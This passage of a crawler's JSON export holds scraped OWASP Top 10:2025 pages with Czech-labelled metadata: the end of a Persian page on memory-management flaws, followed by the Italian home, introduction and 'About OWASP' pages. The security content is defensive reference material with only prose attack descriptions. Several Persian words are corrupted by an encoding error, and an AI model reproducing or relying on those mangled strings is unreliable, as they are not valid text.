firmware تعامل دارند، از این مشکلات رنج می‌برند.\n\nنمونه CWEهای مرتبط: [CWE-120](https://cwe.mitre.org/data/definitions/120.html) Buffer Copy without Checking Size of Input، [CWE-121](https://cwe.mitre.org/data/definitions/121.html) Stack‑based Buffer Overflow.\n\n#### شرایط ایجاد ؎ءا ŘŻŘą مدیریت حافظه\n\n- تخصیص ناکافی حافظه\n- عدم اعتبارسنجی ورودی و overflow روی heap، stack یا buffer\n- ذخیره مقدار بزرگ‌تر از ظرفیت نوع متغیر\n- استفاده از حافظه تخصیص‌نیافته\n- خطای off‑by‑one\n- دسترسی به آب؏ڊت ٞس از آزاد شدن\n- استفاده از متغیرهای بدون مقداردهی اولیه\n- نشت حافظه یا مصرف کامل حافظه تا شڊست برنامه\n\n### راهکارهای پیشگیری\n\n- استفاده از زبان‌های memory‑safe (Rust, Java, Go, C#, Python, Swift, Kotlin, JavaScript)\n- ŘŻŘą ؾوعت ا؏باع به زبان غیر memory‑safe:\n- فعال کردن ویژگی‌های سعوع: ASLR, DEP, SEHOP\n- پایش نشت حافظه\n- اعتبارسنجی دقیق ورودی‌ها\n- شناسایی توابؚ امن و ناامن زبان و اشتعاڊ با تیŮ\n- استفاده از کتابخانه‌های حافظه امن مانند SafeStringLib\n- استفاده از managed buffers و strings به جای raw arrays/pointers\n- آموزش secure coding و بررسی ÚŠŘŻ و تحلیل استاتیک\n- استفاده از ابزارهای compiler مانند StackShield, StackGuard, Libsafe\n- fuzzing تمامی ورودی‌ها\n- توجه به warnings و errors کامپایلر\n- پایش و patch زیرساخت\n\n### نمونه سناریوهای حمله\n\n- Buffer overflow: واعد کردن داده بیشتر از ظرفیت buffer و overwrite کردن stack pointer برای اجرای ÚŠŘŻ مخرب\n- Use‑After‑Free: استفاده از reference به حافظه آزاد شده و جایگذاری داده مهاجŮ\n- Format string vulnerability: ارسال ورودی با format specifier برای خواندن/نوشتن حافظه حساس\n\n### منابع\n\n- [OWASP community pages: Memory leak, Doubly freeing memory, & Buffer Overflow](https://owasp.org/)\n- [Awesome Fuzzing](https://github.com/dsl/awesome-fuzzing)\n- [Project Zero Blog](https://googleprojectzero.blogspot.com/)\n- [Microsoft MSRC Blog](https://msrc.microsoft.com/)\n\n### فهرست CWEهای مرتبط\n\n- [CWE-14](https://cwe.mitre.org/data/definitions/14.html) Compiler Removal of Code to Clear Buffers\n- [CWE-119](https://cwe.mitre.org/data/definitions/119.html) Improper Restriction of Operations within the Bounds of a Memory Buffer\n- [CWE-120](https://cwe.mitre.org/data/definitions/120.html) Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')\n- [CWE-121](https://cwe.mitre.org/data/definitions/121.html) Stack‑based Buffer Overflow\n- [CWE-122](https://cwe.mitre.org/data/definitions/122.html) Heap‑based Buffer Overflow\n- [CWE-124](https://cwe.mitre.org/data/definitions/124.html) Buffer Underwrite ('Buffer Underflow')\n- [CWE-125](https://cwe.mitre.org/data/definitions/125.html) Out‑of‑bounds Read\n- [CWE-126](https://cwe.mitre.org/data/definitions/126.html) Buffer Over‑read\n- [CWE-190](https://cwe.mitre.org/data/definitions/190.html) Integer Overflow or Wraparound\n- [CWE-191](https://cwe.mitre.org/data/definitions/191.html) Integer Underflow (Wrap or Wraparound)\n- [CWE-196](https://cwe.mitre.org/data/definitions/196.html) Unsigned to Signed Conversion Error\n- [CWE-367](https://cwe.mitre.org/data/definitions/367.html) Time‑of‑check Time‑of‑use (TOCTOU) Race Condition\n- [CWE-415](https://cwe.mitre.org/data/definitions/415.html) Double Free\n- [CWE-416](https://cwe.mitre.org/data/definitions/416.html) Use After Free\n- [CWE-457](https://cwe.mitre.org/data/definitions/457.html) Use of Uninitialized Variable\n- [CWE-459](https://cwe.mitre.org/data/definitions/459.html) Incomplete Cleanup\n- [CWE-467](https://cwe.mitre.org/data/definitions/467.html) Use of sizeof() on a Pointer Type\n- [CWE-787](https://cwe.mitre.org/data/definitions/787.html) Out‑of‑bounds Write\n- [CWE-788](https://cwe.mitre.org/data/definitions/788.html) Access of Memory Location After End of Buffer\n- [CWE-824](https://cwe.mitre.org/data/definitions/824.html) Access of Uninitialized Pointer", "znaku_textu": 14046, "slov": 1308, "odkazu": 118, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:58", "sha256": "76c98e6c8c325fefb20bada5558569c3466fa077ba7c56875232693a8b605be2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cwe.mitre.org/data/definitions/400.html", "https://cwe.mitre.org/data/definitions/409.html", "https://cwe.mitre.org/data/definitions/674.html", "https://cwe.mitre.org/data/definitions/835.html", "https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html", "https://learn.microsoft.com/", "https://parser.com/", "https://www.geeksforgeeks.org/", "https://www.nist.gov/cyberframework", "https://cwe.mitre.org/data/definitions/73.html", "https://cwe.mitre.org/data/definitions/183.html", "https://cwe.mitre.org/data/definitions/256.html", "https://cwe.mitre.org/data/definitions/266.html", "https://cwe.mitre.org/data/definitions/269.html", "https://cwe.mitre.org/data/definitions/286.html", "https://cwe.mitre.org/data/definitions/311.html", "https://cwe.mitre.org/data/definitions/312.html", "https://cwe.mitre.org/data/definitions/313.html", "https://cwe.mitre.org/data/definitions/316.html", "https://cwe.mitre.org/data/definitions/362.html", "https://cwe.mitre.org/data/definitions/382.html", "https://cwe.mitre.org/data/definitions/419.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/436.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/451.html", "https://cwe.mitre.org/data/definitions/454.html", "https://cwe.mitre.org/data/definitions/472.html", "https://cwe.mitre.org/data/definitions/501.html", "https://cwe.mitre.org/data/definitions/522.html", "https://cwe.mitre.org/data/definitions/525.html", "https://cwe.mitre.org/data/definitions/539.html", "https://cwe.mitre.org/data/definitions/598.html", "https://cwe.mitre.org/data/definitions/602.html", "https://cwe.mitre.org/data/definitions/628.html", "https://cwe.mitre.org/data/definitions/642.html", "https://cwe.mitre.org/data/definitions/646.html", "https://cwe.mitre.org/data/definitions/653.html", "https://cwe.mitre.org/data/definitions/656.html", "https://cwe.mitre.org/data/definitions/657.html", "https://cwe.mitre.org/data/definitions/676.html", "https://cwe.mitre.org/data/definitions/693.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/807.html", "https://cwe.mitre.org/data/definitions/841.html", "https://cwe.mitre.org/data/definitions/1021.html", "https://cwe.mitre.org/data/definitions/1022.html", "https://cwe.mitre.org/data/definitions/1125.html", "https://cwe.mitre.org/data/definitions/120.html", "https://cwe.mitre.org/data/definitions/121.html", "https://github.com/dsl/awesome-fuzzing", "https://googleprojectzero.blogspot.com/", "https://msrc.microsoft.com/", "https://cwe.mitre.org/data/definitions/14.html", "https://cwe.mitre.org/data/definitions/119.html", "https://cwe.mitre.org/data/definitions/122.html", "https://cwe.mitre.org/data/definitions/124.html", "https://cwe.mitre.org/data/definitions/125.html", "https://cwe.mitre.org/data/definitions/126.html", "https://cwe.mitre.org/data/definitions/190.html", "https://cwe.mitre.org/data/definitions/191.html", "https://cwe.mitre.org/data/definitions/196.html", "https://cwe.mitre.org/data/definitions/367.html", "https://cwe.mitre.org/data/definitions/415.html", "https://cwe.mitre.org/data/definitions/416.html", "https://cwe.mitre.org/data/definitions/457.html", "https://cwe.mitre.org/data/definitions/459.html", "https://cwe.mitre.org/data/definitions/467.html", "https://cwe.mitre.org/data/definitions/787.html", "https://cwe.mitre.org/data/definitions/788.html", "https://cwe.mitre.org/data/definitions/824.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/it/", "titulek": "Home - OWASP Top 10:2025", "h1": "OWASP Top 10:2025", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/it/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10:2025"}, {"uroven": 2, "text": "Informazioni su questa versione"}, {"uroven": 2, "text": "Pagina principale del progetto"}, {"uroven": 2, "text": "Per iniziare"}, {"uroven": 2, "text": "Navigazione"}, {"uroven": 3, "text": "Lista Top 10:2025"}], "markdown": "# OWASP Top 10:2025\n\nBenvenuto nella versione OWASP Top 10:2025.\n\nL'OWASP Top 10 è un documento di riferimento per la sensibilizzazione di sviluppatori e professionisti della sicurezza delle applicazioni web. Rappresenta un ampio consenso sui rischi di sicurezza più critici per le applicazioni web.\n\n## Informazioni su questa versione\n\nQuesta è la versione **2025** dell'OWASP Top 10. Questa versione include aggiornamenti basati sui dati più recenti e sulle ultime tendenze in materia di sicurezza.\n\n## Pagina principale del progetto\n\nLa [pagina principale del progetto](https://github.com/OWASP/www-project-top-ten) contiene informazioni sulle versioni precedenti e metadati su questo progetto.\n\n## Per iniziare\n\nInizia dall'[Introduzione](0x00_2025-Introduction/) per scoprire le novità della versione 2025.\n\n## Navigazione\n\n- [Introduzione](0x00_2025-Introduction/)\n- [Informazioni su OWASP](0x01_2025-About_OWASP/)\n- [Cosa sono i Rischi di Sicurezza delle Applicazioni?](0x02_2025-What_are_Application_Security_Risks/)\n- [Stabilire un Programma Moderno di Sicurezza Applicativa](0x03_2025-Establishing_a_Modern_Application_Security_Program/)\n\n### Lista Top 10:2025\n\n1. [A01:2025 - Broken Access Control](A01_2025-Broken_Access_Control/)\n2. [A02:2025 - Security Misconfiguration](A02_2025-Security_Misconfiguration/)\n3. [A03:2025 - Software Supply Chain Failures](A03_2025-Software_Supply_Chain_Failures/)\n4. [A04:2025 - Cryptographic Failures](A04_2025-Cryptographic_Failures/)\n5. [A05:2025 - Injection](A05_2025-Injection/)\n6. [A06:2025 - Insecure Design](A06_2025-Insecure_Design/)\n7. [A07:2025 - Authentication Failures](A07_2025-Authentication_Failures/)\n8. [A08:2025 - Software or Data Integrity Failures](A08_2025-Software_or_Data_Integrity_Failures/)\n9. [A09:2025 - Security Logging and Alerting Failures](A09_2025-Security_Logging_and_Alerting_Failures/)\n10. [A10:2025 - Mishandling of Exceptional Conditions](A10_2025-Mishandling_of_Exceptional_Conditions/)\n\n---\n\n**Nota:** Le traduzioni verranno aggiunte man mano che saranno disponibili.", "znaku_textu": 1994, "slov": 203, "odkazu": 34, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:22", "sha256": "87fab9aa4ffe3147ab0ff77f159496be7a2c38edb3f6944443d0b529d7b44ded", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/www-project-top-ten", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/it/0x00_2025-Introduction/", "titulek": "Introduzione - OWASP Top 10:2025", "h1": "I Dieci Rischi di Sicurezza delle Applicazioni Web Più Critici", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/it/0x00_2025-Introduction/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "I Dieci Rischi di Sicurezza delle Applicazioni Web Più Critici"}, {"uroven": 1, "text": "Introduzione"}, {"uroven": 2, "text": "Presentazione dell'OWASP Top 10:2025"}, {"uroven": 2, "text": "Cosa è cambiato nel Top 10 per il 2025"}, {"uroven": 2, "text": "Metodologia"}, {"uroven": 2, "text": "Come sono strutturate le categorie"}, {"uroven": 2, "text": "Come vengono utilizzati i dati per selezionare le categorie"}, {"uroven": 2, "text": "Perché utilizziamo un sondaggio della community"}, {"uroven": 2, "text": "Grazie ai nostri contributori di dati"}, {"uroven": 2, "text": "Autori principali"}, {"uroven": 2, "text": "Segnala problemi e pull request"}, {"uroven": 3, "text": "Link al progetto:"}], "markdown": "# I Dieci Rischi di Sicurezza delle Applicazioni Web Più Critici\n\n# Introduzione\n\nBenvenuto all'8ª edizione dell'OWASP Top Ten!\n\nUn enorme ringraziamento a tutti coloro che hanno contribuito con dati e prospettive nel sondaggio. Senza di voi, questa edizione non sarebbe stata possibile. **GRAZIE!**\n\n## Presentazione dell'OWASP Top 10:2025\n\n- [A01:2025 - Broken Access Control](../A01_2025-Broken_Access_Control/)\n- [A02:2025 - Security Misconfiguration](../A02_2025-Security_Misconfiguration/)\n- [A03:2025 - Software Supply Chain Failures](../A03_2025-Software_Supply_Chain_Failures/)\n- [A04:2025 - Cryptographic Failures](../A04_2025-Cryptographic_Failures/)\n- [A05:2025 - Injection](../A05_2025-Injection/)\n- [A06:2025 - Insecure Design](../A06_2025-Insecure_Design/)\n- [A07:2025 - Authentication Failures](../A07_2025-Authentication_Failures/)\n- [A08:2025 - Software or Data Integrity Failures](../A08_2025-Software_or_Data_Integrity_Failures/)\n- [A09:2025 - Security Logging & Alerting Failures](../A09_2025-Security_Logging_and_Alerting_Failures/)\n- [A10:2025 - Mishandling of Exceptional Conditions](../A10_2025-Mishandling_of_Exceptional_Conditions/)\n\n## Cosa è cambiato nel Top 10 per il 2025\n\nCi sono due nuove categorie e una consolidazione nel Top Ten per il 2025. Abbiamo lavorato per mantenere il focus sulla causa principale piuttosto che sui sintomi, per quanto possibile. Con la complessità dell'ingegneria del software e della sicurezza applicativa, è praticamente impossibile creare dieci categorie senza un certo livello di sovrapposizione.\n\n- **[A01:2025 - Broken Access Control](../A01_2025-Broken_Access_Control/)** mantiene la sua posizione al #1 come rischio di sicurezza applicativa più grave; i dati contribuiti indicano che in media il 3,73% delle applicazioni testate presentava una o più delle 40 Common Weakness Enumeration (CWE) in questa categoria. Come indicato dalla linea tratteggiata nella figura sopra, la Server-Side Request Forgery (SSRF) è stata incorporata in questa categoria.\n- **[A02:2025 - Security Misconfiguration](../A02_2025-Security_Misconfiguration/)** è salita dal #5 del 2021 al #2 nel 2025. Le configurazioni errate sono più prevalenti nei dati di questo ciclo. Il 3,00% delle applicazioni testate presentava una o più delle 16 CWE in questa categoria. Non sorprende, poiché l'ingegneria del software continua ad aumentare la quantità di comportamenti delle applicazioni basati su configurazioni.\n- **[A03:2025 - Software Supply Chain Failures](../A03_2025-Software_Supply_Chain_Failures/)** è un'espansione di [A06:2021-Vulnerable and Outdated Components](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/) per includere una portata più ampia di compromissioni che si verificano all'interno o attraverso l'intero ecosistema di dipendenze software, sistemi di build e infrastrutture di distribuzione. Questa categoria è stata votata in modo schiacciante come principale preoccupazione nel sondaggio della community. Questa categoria ha 5 CWE e una presenza limitata nei dati raccolti, ma riteniamo che ciò sia dovuto alle difficoltà nel testing e speriamo che i metodi di testing raggiungano questo settore. Questa categoria ha il minor numero di occorrenze nei dati, ma anche i punteggi medi più alti per exploit e impatto tra i CVE.\n- **[A04:2025 - Cryptographic Failures](../A04_2025-Cryptographic_Failures/)** scende di due posizioni dal #2 al #4 nella classifica. I dati contribuiti indicano che, in media, il 3,80% delle applicazioni presenta una o più delle 32 CWE in questa categoria. Questa categoria porta spesso a esposizione di dati sensibili o compromissione del sistema.\n- **[A05:2025 - Injection](../A05_2025-Injection/)** scende di due posizioni dal #3 al #5 nella classifica, mantenendo la sua posizione relativa rispetto a Cryptographic Failures e Insecure Design. L'Injection è una delle categorie più testate, con il maggior numero di CVE associati alle 38 CWE in questa categoria. L'Injection include una gamma di problemi che va dalle vulnerabilità di Cross-site Scripting (alta frequenza/basso impatto) alla SQL Injection (bassa frequenza/alto impatto).\n- **[A06:2025 - Insecure Design](../A06_2025-Insecure_Design/)** scende di due posizioni dal #4 al #6 nella classifica mentre Security Misconfiguration e Software Supply Chain Failures la superano. Questa categoria è stata introdotta nel 2021 e abbiamo registrato miglioramenti evidenti nel settore relativi al threat modeling e una maggiore enfasi sulla progettazione sicura.\n- **[A07:2025 - Authentication Failures](../A07_2025-Authentication_Failures/)** mantiene la sua posizione al #7 con una leggera modifica del nome (in precedenza era \" [Identification and Authentication Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/) \") per riflettere più accuratamente le 36 CWE in questa categoria. Questa categoria rimane importante, ma il maggiore utilizzo di framework standardizzati per l'autenticazione sembra avere effetti benefici sulle occorrenze di fallimenti di autenticazione.\n- **[A08:2025 - Software or Data Integrity Failures](../A08_2025-Software_or_Data_Integrity_Failures/)** continua all'#8 nella lista. Questa categoria si concentra sul fallimento nel mantenimento dei confini di fiducia e nella verifica dell'integrità di software, codice e artefatti dati a un livello inferiore rispetto ai Software Supply Chain Failures.\n- **[A09:2025 - Security Logging & Alerting Failures](../A09_2025-Security_Logging_and_Alerting_Failures/)** mantiene la sua posizione al #9. Questa categoria ha una leggera modifica del nome (in precedenza [Security Logging and Monitoring Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/) ) per enfatizzare l'importanza della funzionalità di alerting necessaria per indurre azioni appropriate sugli eventi di logging rilevanti. Un ottimo logging senza alerting è di valore minimo nell'identificazione degli incidenti di sicurezza. Questa categoria sarà sempre sottorappresentata nei dati ed è stata nuovamente votata in una posizione nella lista dai partecipanti al sondaggio della community.\n- **[A10:2025 - Mishandling of Exceptional Conditions](../A10_2025-Mishandling_of_Exceptional_Conditions/)** è una nuova categoria per il 2025. Questa categoria contiene 24 CWE incentrate sulla gestione impropria degli errori, errori logici, \"failing open\" e altri scenari correlati derivanti da condizioni anomale che i sistemi possono incontrare.\n\n## Metodologia\n\nQuesta edizione del Top Ten rimane informata dai dati, ma non guidata ciecamente da essi. Abbiamo classificato 12 categorie in base ai dati contribuiti e ne abbiamo consentite due da promuovere o evidenziare dalle risposte del sondaggio della community. Lo facciamo per una ragione fondamentale: esaminare i dati contribuiti equivale essenzialmente a guardare nel passato. I ricercatori di Application Security dedicano tempo all'identificazione di nuove vulnerabilità e allo sviluppo di nuovi metodi di testing. Ci vogliono settimane o anni per integrare questi test in strumenti e processi. Nel momento in cui possiamo testare in modo affidabile una debolezza su larga scala, potrebbero essere passati anni. Ci sono anche rischi importanti che potremmo non essere mai in grado di testare in modo affidabile e che sono presenti nei dati. Per bilanciare questa visione, utilizziamo un sondaggio della community per chiedere ai professionisti di Application Security e sviluppatori in prima linea cosa considerano rischi essenziali che potrebbero essere sottorappresentati nei dati di testing.\n\n## Come sono strutturate le categorie\n\nAlcune categorie sono cambiate rispetto alla precedente edizione dell'OWASP Top Ten. Ecco un riepilogo di alto livello delle modifiche alle categorie.\n\nIn questa iterazione, abbiamo richiesto dati senza restrizioni sulle CWE come abbiamo fatto per l'edizione 2021. Abbiamo chiesto il numero di applicazioni testate per un determinato anno (a partire dal 2021) e il numero di applicazioni con almeno un'istanza di una CWE trovata nel testing. Questo formato ci consente di monitorare quanto sia prevalente ogni CWE all'interno della popolazione di applicazioni. Ignoriamo la frequenza ai nostri fini; sebbene possa essere necessaria in altre situazioni, nasconde solo la prevalenza effettiva nella popolazione di applicazioni. Che un'applicazione abbia quattro istanze di una CWE o 4.000 non fa parte del calcolo per il Top Ten. Specialmente perché i tester manuali tendono a elencare una vulnerabilità una sola volta, indipendentemente da quante volte si ripete in un'applicazione, mentre i framework di testing automatizzato elencano ogni istanza di una vulnerabilità come unica. Siamo passati da circa 30 CWE nel 2017, a quasi 400 CWE nel 2021, a 589 CWE in questa edizione da analizzare nel dataset. Prevediamo di effettuare ulteriori analisi dei dati come supplemento in futuro. Questo significativo aumento del numero di CWE richiede modifiche al modo in cui le categorie sono strutturate.\n\nAbbiamo trascorso diversi mesi a raggruppare e categorizzare le CWE e avremmo potuto continuare per mesi ulteriori. Ad un certo punto era necessario fermarsi. Esistono sia tipi di CWE legati alla causa principale che ai sintomi, dove i tipi di causa principale sono come \"Cryptographic Failure\" e \"Misconfiguration\" in contrasto con i tipi di sintomo come \"Sensitive Data Exposure\" e \"Denial of Service\". Abbiamo deciso di concentrarci sulla causa principale ogni volta che è possibile, in quanto è più logico per fornire indicazioni sull'identificazione e la rimediazione. Concentrarsi sulla causa principale anziché sul sintomo non è un concetto nuovo; il Top Ten è sempre stato un mix di sintomi e cause principali. Anche le CWE sono un mix di sintomi e cause principali; stiamo semplicemente essere più deliberati nel segnalarlo. C'è una media di 25 CWE per categoria in questa edizione, con il limite inferiore a 5 CWE per A03:2025-Software Supply Chain Failures e A09:2025 Security Logging and Alerting Failures fino a 40 CWE in A01:2025-Broken Access Control. Abbiamo deciso di limitare il numero di CWE in una categoria a 40. Questa struttura di categoria aggiornata offre ulteriori vantaggi formativi poiché le aziende possono concentrarsi sulle CWE che hanno senso per un determinato linguaggio/framework.\n\nCi è stato chiesto perché non passare a una lista di 10 CWE come Top 10, simile alle MITRE Top 25 Most Dangerous Software Weaknesses. Ci sono due ragioni principali per cui utilizziamo più CWE nelle categorie. In primo luogo, non tutte le CWE esistono in tutti i linguaggi di programmazione o framework. Questo causa problemi per gli strumenti e i programmi di formazione/sensibilizzazione poiché parte del Top Ten potrebbe non essere applicabile. La seconda ragione è che esistono più CWE per le vulnerabilità comuni. Ad esempio, ci sono più CWE per Injection generale, Command Injection, Cross-site Scripting, Hardcoded Passwords, Lack of Validation, Buffer Overflow, Cleartext Storage of Sensitive Information e molti altri. A seconda dell'organizzazione o del tester, potrebbero essere utilizzate diverse CWE. Utilizzando una categoria con più CWE possiamo contribuire ad alzare il livello di base e la consapevolezza dei diversi tipi di debolezze che possono verificarsi sotto un nome di categoria comune. In questa edizione del Top Ten 2025, ci sono 248 CWE all'interno delle 10 categorie. Ci sono un totale di 968 CWE nel [dizionario scaricabile da MITRE](https://cwe.mitre.org) al momento di questa pubblicazione.\n\n## Come vengono utilizzati i dati per selezionare le categorie\n\nAnalogamente a quanto fatto per l'edizione 2021, abbiamo sfruttato i dati CVE per *Sfruttabilità* e *Impatto (Tecnico)*. Abbiamo scaricato OWASP Dependency Check ed estratto i punteggi CVSS di Exploit e Impact, raggruppandoli per CWE rilevanti elencate con i CVE. Ha richiesto una discreta quantità di ricerca e sforzo, poiché tutti i CVE hanno punteggi CVSSv2, ma ci sono difetti in CVSSv2 che CVSSv3 dovrebbe correggere. Dopo un certo punto nel tempo, a tutti i CVE viene assegnato anche un punteggio CVSSv3. Inoltre, gli intervalli di punteggio e le formule sono stati aggiornati tra CVSSv2 e CVSSv3.\n\nIn CVSSv2, sia Exploit che Impatto (Tecnico) potevano arrivare fino a 10,0, ma la formula li abbassava al 60% per Exploit e al 40% per Impact. In CVSSv3, il massimo teorico era limitato a 6,0 per Exploit e 4,0 per Impact. Con la ponderazione considerata, il punteggio di Impact è aumentato, quasi un punto e mezzo in media in CVSSv3, e la sfruttabilità è diminuita di quasi mezzo punto in media.\n\nCi sono circa 175k record (rispetto ai 125k del 2021) di CVE mappati a CWE nel National Vulnerability Database (NVD), estratti da OWASP Dependency Check. Inoltre, ci sono 643 CWE uniche mappate a CVE (rispetto alle 241 del 2021). Nell'ambito dei quasi 220k CVE estratti, 160k avevano punteggi CVSS v2, 156k avevano punteggi CVSS v3 e 6k avevano punteggi CVSS v4. Molti CVE hanno più punteggi, motivo per cui il totale supera i 220k.\n\nPer il Top Ten 2025, abbiamo calcolato i punteggi medi di exploit e impact nel modo seguente. Abbiamo raggruppato tutti i CVE con punteggi CVSS per CWE e ponderato sia i punteggi di exploit che di impact in base alla percentuale della popolazione che aveva CVSSv3, nonché alla popolazione rimanente con punteggi CVSSv2, per ottenere una media complessiva. Abbiamo mappato queste medie alle CWE nel dataset da utilizzare come punteggi di Exploit e Impatto (Tecnico) per l'altra metà dell'equazione del rischio.\n\nPerché non usare CVSS v4.0? Perché l'algoritmo di punteggio è stato modificato in modo sostanziale e non fornisce più facilmente i punteggi di *Exploit* o *Impact* come fanno CVSSv2 e CVSSv3. Tenteremo di trovare un modo per utilizzare il punteggio CVSS v4.0 nelle versioni future del Top Ten, ma non siamo riusciti a determinare un modo tempestivo per farlo per l'edizione 2025.\n\n## Perché utilizziamo un sondaggio della community\n\nI risultati nei dati sono in gran parte limitati a ciò che il settore riesce a testare in modo automatizzato. Parlate con un professionista esperto di AppSec e vi parleranno di cose che trovano e tendenze che vedono che non sono ancora nei dati. Ci vuole tempo perché le persone sviluppino metodologie di testing per certi tipi di vulnerabilità e poi ancora più tempo perché quei test vengano automatizzati ed eseguiti su una vasta popolazione di applicazioni. Tutto ciò che troviamo guarda nel passato e potrebbe mancare le tendenze dell'ultimo anno, che non sono presenti nei dati.\n\nPer questo motivo, scegliamo solo otto delle dieci categorie dai dati perché sono incompleti. Le altre due categorie provengono dal sondaggio della community del Top 10. Permette ai professionisti in prima linea di votare per ciò che considerano i rischi più elevati che potrebbero non essere nei dati (e che potrebbero non essere mai espressi nei dati).\n\n## Grazie ai nostri contributori di dati\n\nLe seguenti organizzazioni (insieme a diversi donatori anonimi) hanno gentilmente donato dati per oltre 2,8 milioni di applicazioni per rendere questo il dataset di sicurezza applicativa più grande e completo. Senza di voi, questo non sarebbe stato possibile.\n\n- Accenture (Praga)\n- Anonimo (multipli)\n- Bugcrowd\n- Contrast Security\n- CryptoNet Labs\n- Intuitor SoftTech Services\n- Orca Security\n- Probely\n- Semgrep\n- Sonar\n- usd AG\n- Veracode\n- Wallarm\n\n## Autori principali\n\n- Andrew van der Stock - X: [@vanderaj](https://x.com/vanderaj)\n- Brian Glas - X: [@infosecdad](https://x.com/infosecdad)\n- Neil Smithline - X: [@appsecneil](https://x.com/appsecneil)\n- Tanya Janca - X: [@shehackspurple](https://x.com/shehackspurple)\n- Torsten Gigler - Mastodon: [@[email protected]](https://infosec.exchange/@torsten_gigler)\n\n## Segnala problemi e pull request\n\nSi prega di segnalare eventuali correzioni o problemi:\n\n### Link al progetto:\n\n- [Homepage](https://owasp.org/www-project-top-ten/)\n- [Repository GitHub](https://github.com/OWASP/Top10)", "znaku_textu": 15856, "slov": 2220, "odkazu": 38, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:00", "sha256": "9bce70156da7f130b54ccc0b56b0cf8cac312aeb96a2a6420630ffcdc553fef4", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cwe.mitre.org/", "https://x.com/vanderaj", "https://x.com/infosecdad", "https://x.com/appsecneil", "https://x.com/shehackspurple", "https://infosec.exchange/@torsten_gigler", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/it/0x01_2025-About_OWASP/", "titulek": "Informazioni su OWASP - OWASP Top 10:2025", "h1": "Informazioni su OWASP", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/it/0x01_2025-About_OWASP/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Informazioni su OWASP"}, {"uroven": 2, "text": "Copyright e Licenza"}], "markdown": "# Informazioni su OWASP\n\nL'Open Worldwide Application Security Project (OWASP) è una comunità aperta dedicata a supportare le organizzazioni nello sviluppo, nell'acquisto e nel mantenimento di applicazioni e API affidabili.\n\nSu OWASP troverai gratuitamente e in formato aperto:\n\n- Strumenti e standard per la sicurezza delle applicazioni\n- Ricerca all'avanguardia\n- Controlli di sicurezza standard e librerie\n- Guide complete sul testing della sicurezza applicativa, sullo sviluppo sicuro del codice e sulla revisione del codice sicuro\n- Presentazioni e [video](https://www.youtube.com/user/OWASPGLOBAL)\n- [Cheat sheet](https://cheatsheetseries.owasp.org/) su molti argomenti comuni\n- [Incontri dei capitoli](https://owasp.org/chapters/) in tutto il mondo e online\n- [Eventi, formazione e conferenze](https://owasp.org/events/)\n- [Google Groups](https://groups.google.com/g/owasp)\n\nScopri di più su: [https://owasp.org](https://owasp.org).\n\nTutti gli strumenti, i documenti, i video, le presentazioni e i capitoli OWASP sono gratuiti e aperti a chiunque voglia migliorare la sicurezza delle applicazioni.\n\nSosteniamo un approccio alla sicurezza applicativa come problema di persone, processi e tecnologia, poiché gli approcci più efficaci richiedono miglioramenti in tutte queste aree.\n\nOWASP è un tipo diverso di organizzazione. La nostra indipendenza dalle pressioni commerciali ci permette di fornire informazioni imparziali, pratiche ed economicamente accessibili sulla sicurezza delle applicazioni.\n\nOWASP non è affiliata ad alcuna azienda tecnologica, pur supportando l'uso consapevole di tecnologie di sicurezza commerciali. OWASP produce molti tipi di materiali in modo collaborativo, trasparente e aperto.\n\nLa OWASP Foundation è l'ente no-profit che garantisce il successo a lungo termine del progetto. Quasi tutte le persone coinvolte in OWASP sono volontarie, inclusi il consiglio di amministrazione, i responsabili dei capitoli, i responsabili dei progetti e i membri dei progetti. Supportiamo la ricerca innovativa sulla sicurezza attraverso sovvenzioni e infrastrutture.\n\nUnisciti a noi!\n\n## Copyright e Licenza\n\nCopyright © 2003-2025 The OWASP® Foundation, Inc. Questo documento è rilasciato sotto la licenza Creative Commons Attribution Share-Alike 4.0. Per qualsiasi riutilizzo o distribuzione, è necessario rendere chiari agli altri i termini della licenza di questo lavoro.", "znaku_textu": 2367, "slov": 303, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 